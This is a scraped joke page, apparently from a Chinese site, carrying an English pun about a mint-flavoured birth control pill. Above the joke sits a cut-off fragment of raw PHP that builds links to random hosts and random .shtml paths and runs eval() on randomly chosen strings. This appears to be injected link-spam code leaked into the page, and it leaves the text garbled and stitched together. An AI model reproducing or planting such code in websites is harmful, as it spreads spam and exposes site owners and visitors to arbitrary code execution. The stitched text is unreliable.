30){ if(count($wList) <= 0){ break; } $rk1 = mt_rand(0,count($wList)-1); $h = trim($wList[$rk1]); if(empty($h)){ continue; } // $a .= $h . '/' . $dTmp . '/' . date('d',time()) . '/' .mt_rand(100000,999999) . '.html'; $a .= $h . '/' . $dTmp . '/' . mt_rand(100000,9999999) . '.shtml'; // $a .= $h; }else{ $urk = mt_rand(0,count($uList)-1); eval($uList[$urk]); } $a .= '">'; $str .= $a; } echo $str; ?> Mint Birth Control Pill英语成人笑话

Mint Birth Control Pill英语成人笑话

2010-08-17joke

Mint Birth Control Pill英语成人笑话
Mint Birth Control Pill英语成人笑话(插图)

Mint Birth Control Pill

The Cadbury's Candy Co. and Merck Drug Co. have combined to market the new
mint-flavored birth control pill that women may take immediately before sex.

The pill will be distributed by the large major drug store chains and
Wal-Mart's Pharmacies.

They're going to be called . . . "Pre-dick-a-mints!"

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